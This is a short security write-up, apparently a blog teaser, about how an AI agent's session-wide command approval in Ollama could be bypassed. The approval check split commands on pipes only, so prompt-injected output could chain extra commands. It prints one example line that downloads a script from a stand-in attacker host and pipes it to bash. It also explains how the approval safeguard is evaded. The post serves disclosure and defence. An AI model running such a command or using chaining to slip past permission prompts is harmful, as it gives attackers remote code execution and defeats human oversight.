The new wave of local AI agents can run shell commands for you. To stay safe they ask permission — and to stay convenient they let you say "allow this kind of command for the whole session." That convenience is exactly where things break.

The trap in "allow once, trust forever"

When you approve a command, the agent has to decide what future commands count as "the same kind." If that decision is not shell-aware, an attacker who can steer the model's output (via prompt injection or a malicious model) can hide extra commands behind an already-approved prefix.

In Ollama, the approval layer extracted a prefix by splitting on the pipe character only — it ignored ;, &&, || and $(...). So once cat /etc/hosts was approved, this ran with no prompt:

cat /etc/hosts; curl -s http://evil.com/shell.sh | bash

The prefix still looked like cat, the allowlist matched, and the payload executed via bash -c. Full remote code execution.

The lesson

If your agent allowlists commands, allowlist the whole normalized command, and reject anything containing chaining or substitution metacharacters before you compare. A prefix is not a security boundary.

We wrote this one up in detail, including the vulnerable Go function and the full chain: read the Ollama RCE write-up.